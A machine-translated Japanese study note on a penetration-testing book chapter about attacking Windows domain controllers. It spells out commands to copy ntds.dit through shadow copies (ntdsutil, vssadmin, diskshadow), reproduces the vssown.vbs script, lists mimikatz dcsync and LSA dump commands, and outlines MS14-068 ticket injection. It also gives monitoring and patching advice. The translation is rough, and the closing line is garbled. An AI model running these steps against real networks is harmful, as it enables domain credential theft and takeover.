コンテンツ
序文
この記事では、「イントラネットセキュリティ攻撃と防御:侵入テスト実践ガイド」を読み、学習し続けます。この章は、ドメインコントローラのセキュリティです。Kerberosドメインユーザーを使用して特権を昇格させ、ntds.ditにハッシュ値をエクスポートする方法を紹介します。 、およびドメインコントローラに対する攻撃。効果的な安全性の推奨事項が作成されます
実際のネットワーク環境では、攻撃者がイントラネットに侵入する最終的な目標は、ドメインコントローラの権限を取得し、それによってドメイン全体を制御することです。
1.ボリュームシャドウコピーサービスを使用してntds.ditを抽出します
Active Directoryでは、すべてのデータがntds.ditファイルに保存されます
- ntds.ditは、DCに保存されているバイナリファイルです。
C:\Windows\NTDS\ntds.dit
- ドメイン内のすべての情報が含まれています。ntds.ditを分析することにより、ドメイン内のコンピューター情報やその他の情報をエクスポートできます。
- SAMファイルと同様に、それらはシステムによってロックされます
ntds.ditは、ボリュームシャドウコピーサービス(VSS)を使用して抽出できます。これは、基本的にスナップショットテクノロジであり、主にバックアップとリカバリに使用されます(ターゲットファイルがロックされている場合でも)。
1、ntdsutil.exe
ADの管理メカニズムを提供し、WindowsServer2003/2008/2012をサポートするコマンドラインツール
//创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
//加载快照
ntdsutil snapshot "mount <GUID>" quit quit
//复制快照中的nitds.dit
copy <加载后快照的位置> c:\tmp:ntds.dit
//删除快照
ntdsutil snapshot "unmount <GUID>" "delete <GUID>" quit quit
2、vssadmin
Windows7およびサーバー2008が提供するVSS管理ツール
//创建C盘的卷影拷贝
vssadmin create shadow /for=c:
//复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\window\NTDS\ntds.dit c:\ntds.dit
//删除拷贝
vssadmin delete shadow /for=c: /quiet
3、vssown.vbs
vssadminと同様に、TimTomesによって開発されたスクリプト
スクリプトは次のとおりです
REM Volume Shadow Copy Management from CLI.
REM Part of the presentation "Lurking in the Shadows" by Mark Baggett and Tim "LaNMaSteR53" Tomes.
REM Co-developed by Mark Baggett (@MarkBaggett) and Tim Tomes (@lanmaster53).
Set args = WScript.Arguments
if args.Count < 1 Then
wscript.Echo "Usage: cscript vssown.vbs [option]"
wscript.Echo
wscript.Echo " Options:"
wscript.Echo
wscript.Echo " /list - List current volume shadow copies."
wscript.Echo " /start - Start the shadow copy service."
wscript.Echo " /stop - Halt the shadow copy service."
wscript.Echo " /status - Show status of shadow copy service."
wscript.Echo " /mode - Display the shadow copy service start mode."
wscript.Echo " /mode [Manual|Automatic|Disabled] - Change the shadow copy service start mode."
wscript.Echo " /create [drive_letter] - Create a shadow copy."
wscript.Echo " /delete [id|*] - Delete a specified or all shadow copies."
wscript.Echo " /mount [path] [device_object] - Mount a shadow copy to the given path."
wscript.Echo " /execute [\path\to\file] - Launch executable from within an umounted shadow copy."
wscript.Echo " /store - Display storage statistics."
wscript.Echo " /size [bytes] - Set drive space reserved for shadow copies."
REM build_off
wscript.Echo " /build [filename] - Print pasteable script to stdout."REM no_build
REM build_on
wscript.Quit(0)
End If
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Select Case args.Item(0)
Case "/list"
Wscript.Echo "SHADOW COPIES"
Wscript.Echo "============="
Wscript.Echo
Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowCopy")
For Each objItem in colItems
Wscript.Echo "[*] ID: " & objItem.ID
Wscript.Echo "[*] Client accessible: " & objItem.ClientAccessible
Wscript.Echo "[*] Count: " & objItem.Count
Wscript.Echo "[*] Device object: " & objItem.DeviceObject
Wscript.Echo "[*] Differential: " & objItem.Differential
Wscript.Echo "[*] Exposed locally: " & objItem.ExposedLocally
Wscript.Echo "[*] Exposed name: " & objItem.ExposedName
Wscript.Echo "[*] Exposed remotely: " & objItem.ExposedRemotely
Wscript.Echo "[*] Hardware assisted: " & objItem.HardwareAssisted
Wscript.Echo "[*] Imported: " & objItem.Imported
Wscript.Echo "[*] No auto release: " & objItem.NoAutoRelease
Wscript.Echo "[*] Not surfaced: " & objItem.NotSurfaced
Wscript.Echo "[*] No writers: " & objItem.NoWriters
Wscript.Echo "[*] Originating machine: " & objItem.OriginatingMachine
Wscript.Echo "[*] Persistent: " & objItem.Persistent
Wscript.Echo "[*] Plex: " & objItem.Plex
Wscript.Echo "[*] Provider ID: " & objItem.ProviderID
Wscript.Echo "[*] Service machine: " & objItem.ServiceMachine
Wscript.Echo "[*] Set ID: " & objItem.SetID
Wscript.Echo "[*] State: " & objItem.State
Wscript.Echo "[*] Transportable: " & objItem.Transportable
Wscript.Echo "[*] Volume name: " & objItem.VolumeName
Wscript.Echo
Next
wscript.Quit(0)
Case "/start"
Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
For Each objService in colListOfServices
objService.StartService()
Wscript.Echo "[*] Signal sent to start the " & objService.Name & " service."
Next
wscript.Quit(0)
Case "/stop"
Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
For Each objService in colListOfServices
objService.StopService()
Wscript.Echo "[*] Signal sent to stop the " & objService.Name & " service."
Next
wscript.Quit(0)
Case "/status"
Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
For Each objService in colListOfServices
Wscript.Echo "[*] " & objService.State
Next
wscript.Quit(0)
Case "/mode"
Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
For Each objService in colListOfServices
if args.Count < 2 Then
Wscript.Echo "[*] " & objService.Name & " service set to '" & objService.StartMode & "' start mode."
Else
mode = LCase(args.Item(1))
if mode = "manual" or mode = "automatic" or mode = "disabled" Then
errResult = objService.ChangeStartMode(mode)
Wscript.Echo "[*] " & objService.Name & " service set to '" & mode & "' start mode."
Else
Wscript.Echo "[*] '" & mode & "' is not a valid start mode."
End If
END If
Next
wscript.Quit(errResult)
Case "/create"
VOLUME = args.Item(1) & ":\"
Const CONTEXT = "ClientAccessible"
Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy")
Wscript.Echo "[*] Attempting to create a shadow copy."
errResult = objShadowStorage.Create(VOLUME, CONTEXT, strShadowID)
wscript.Quit(errResult)
Case "/delete"
id = args.Item(1)
Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
For Each objItem in colItems
if objItem.ID = id Then
Wscript.Echo "[*] Attempting to delete shadow copy with ID: " & id
errResult = objItem.Delete_
ElseIf id = "*" Then
Wscript.Echo "[*] Attempting to delete shadow copy " & objItem.DeviceObject & "."
errResult = objItem.Delete_
End If
Next
wscript.Quit(errResult)
Case "/mount"
Set WshShell = WScript.CreateObject("WScript.Shell")
link = args.Item(1)
sc = args.Item(2) & "\"
cmd = "cmd /C mklink /D " & link & " " & sc
WshShell.Run cmd, 2, true
Wscript.Echo "[*] " & sc & " has been mounted to " & link & "."
wscript.Quit(0)
Case "/execute"
file = args.Item(1)
Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
Set objProcess = objWMIService.Get("Win32_Process")
For Each objItem in colItems
path = Replace(objItem.DeviceObject,"?",".") & file
intReturn = objProcess.Create(path)
if intReturn <> 0 Then
wscript.Echo "[*] Process could not be created from " & path & "."
wscript.Echo "[*] ReturnValue = " & intReturn
Else
wscript.Echo "[!] Process created from " & path & "."
wscript.Quit(0)
End If
Next
wscript.Quit(0)
Case "/store"
Wscript.Echo "SHADOW STORAGE"
Wscript.Echo "=============="
Wscript.Echo
Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
For Each objItem in colItems
Wscript.Echo "[*] Allocated space: " & FormatNumber(objItem.AllocatedSpace / 1000000,0) & "MB"
Wscript.Echo "[*] Maximum size: " & FormatNumber(objItem.MaxSpace / 1000000,0) & "MB"
Wscript.Echo "[*] Used space: " & FormatNumber(objItem.UsedSpace / 1000000,0) & "MB"
Wscript.Echo
Next
wscript.Quit(0)
Case "/size"
storagesize = CDbl(args.Item(1))
Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
For Each objItem in colItems
objItem.MaxSpace = storagesize
objItem.Put_
Next
Wscript.Echo "[*] Shadow storage space has been set to " & FormatNumber(storagesize / 1000000,0) & "MB."
wscript.Quit(0)
REM build_off
Case "/build"
build = 1
Const ForReading = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile("vssown.vbs", ForReading)
Do Until objTextFile.AtEndOfStream
strNextLine = objTextFile.Readline
if InStr(strNextLine,"REM build_off") = 3 Then
build = 0
End If
if strNextLine <> "" and build = 1 Then
strNextLine = Replace(strNextLine,"&","^&")
strNextLine = Replace(strNextLine,">","^>")
strNextLine = Replace(strNextLine,"<","^<")
wscript.Echo "echo " & strNextLine & " >> " & args.Item(1)
End If
if InStr(strNextLine,"REM build_on") = 3 Then
build = 1
End If
Loop
wscript.Quit(0)
REM build_on
End Select
4.ntdsutilのIFM
ntdsutilを使用してIFMを作成する場合は、スナップショットの生成、ロード、ntds.ditおよびコンピューターのSAMファイルのターゲットフォルダーへのコピーなどを行う必要があります。
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
次に、ntds.ditをc:\ test \ Active Directory
にコピーします。システムとセキュリティをc:\ test \ repository\にコピーします。
Nishangには、プロセス全体を実装するスクリプトCopy-VSS.ps1があります。
5、diskshadow
diskshadow.exeはVSSを使用し、ntds.ditをエクスポートできます
- マイクロソフトによって公式に作成されたコードは、マイクロソフトによって署名されています
- Windows Server 2008、2012、2016にはデフォルトが付属しています
- ntds.ditをエクスポートするときはで
C:\Windows\system32
操作する必要があります
ntds.ditをエクスポートした後、regを使用してsystem.hiveをダンプできます。ntds.ditのキーはsystem.hiveに保存されているため、 ntds.ditの情報はキーなしでは表示できません。
ペネトレーションテストでは、実行するコマンドを含むテキストファイルを最初にリモートターゲットシステムに書き込んでから、より柔軟なdiskshadow.exeを使用してファイルを実行する必要があります。テキストは次のとおりです。
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//复制ntds.dit
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
//列出卷影拷贝
list shadows all
//重置
reset
//退出
exit
6.予防
ボリュームシャドウコピーサービスの使用状況を監視することにより、システム内の攻撃者によって実行された悪意のある操作を時間内に発見できます。
- ボリュームシャドウコピーサービスと、Active Directoryデータベースファイル(ntds.dit)に関連する疑わしい動作を監視します
- システムイベントID7036(ボリュームシャドウコピーサービスが実行状態に入ったことを示すサイン)の疑わしいインスタンス、およびvssvc.exeプロセスを作成するイベントを監視します。
- diskshadow.exeおよび関連する子プロセスを作成するイベントを監視する
- クライアントデバイスでdiskshadow.exeインスタンスの作成イベントを監視します(ビジネスニーズがない限り、diskshadowexeはWmdows OSに表示されません)
- ログを介して新しい論理ドライブマッピングイベントを監視する
2.ハッシュ値をntds.ditにエクスポートします
いくつかのツールの使用:
- https://github.com/libyal/libesedb
- https://github.com/csababarta/ntdsxtract
- https://github.com/zcgonvh/NTDSDumpEx
3.dcsyncを使用してドメインハッシュ値を取得します
mimikatzには、ボリュームシャドウコピーサービスVSSを使用してntds.ditを直接読み取り、ドメインハッシュ値を取得できるdcsync関数があります。これには、ドメイン管理者権限が必要です。
//导出域内所有用户名和散列值
lsadump::dcsync /domain:test.com /all /csv
//导出指定用户Dm散列值
lsadump::dcsync /domain:test.com /User:Dm
//转储lsass.exe进程对散列值进行dump操作
privilege::debug
lsadump::lsa /inject
mimikatzコマンドの実行結果が多すぎて完全に表示できません。最初にlogコマンドを実行できます(mimikatzのすべての実行結果を記録するために、現在のディレクトリにテキストファイルが生成されます)
4.ドメインハッシュ値を取得するための他の方法
1、Metasploit
use auxiliary/admin/amb/psexec_ntdsgrab
2.vshadow.exeおよびQuarkPwDump.exe
QuarkPwDumpを使用すると、すべてのドメインアカウントとドメインハッシュをすばやく、安全に、包括的に読み取ることができます
。ダウンロードアドレス:https ://github.com/quarkslab/quarkspwdump
5、Kerberosドメインのユーザー特権昇格の脆弱性
Kerberosドメインユーザーの特権の昇格の脆弱性(MS14-068、CVE-2014-6324、KB3011780)
- Windows2012R2および以前のバージョンが影響を受けます
- 攻撃者がドメイン内の任意のコンピューターのシェル権限を取得し、任意のドメインユーザーのユーザー名、SID、およびパスワードも知っている場合、攻撃者はドメイン管理者権限を取得し、DCを制御し、最後にドメイン権限を取得できます。
チケットインジェクションの一般的なプロセス:
- DCパッチのインストールを確認してください(systeminfo、WMIC qfe)
- ユーザーのSIDを表示する(
whoami /user
) - 高特権チケットの生成(ms14-068.exe)
- インジェクション前の権限の表示(
dir \\\\DC\c$
) - メモリ内のすべてのチケットをクリアします(mimikatz、
kerberos::purge
) - 高特権チケットをメモリに挿入します(
kerberos::ptc
) - 権限を確認する
いくつかのツール:
- PyKEK:https ://github.com/mubix/pykek
- impacketのgoldenPac.py
- metasploitのms14_068_kerberos_checksum
修理の提案:
- WindowsUpdateをオンにする
- 手動パッチ
- ドメイン内のアカウントを制御する
- 弱いパスワードを無効にする
- 定期的かつタイムリーにパスワードを変更してください
- ウイルス対策ソフトウェアをインストールし、ウイルスデータベースを時間内に更新します
エピローグ
主に顧みられない熱帯病の買収を中心に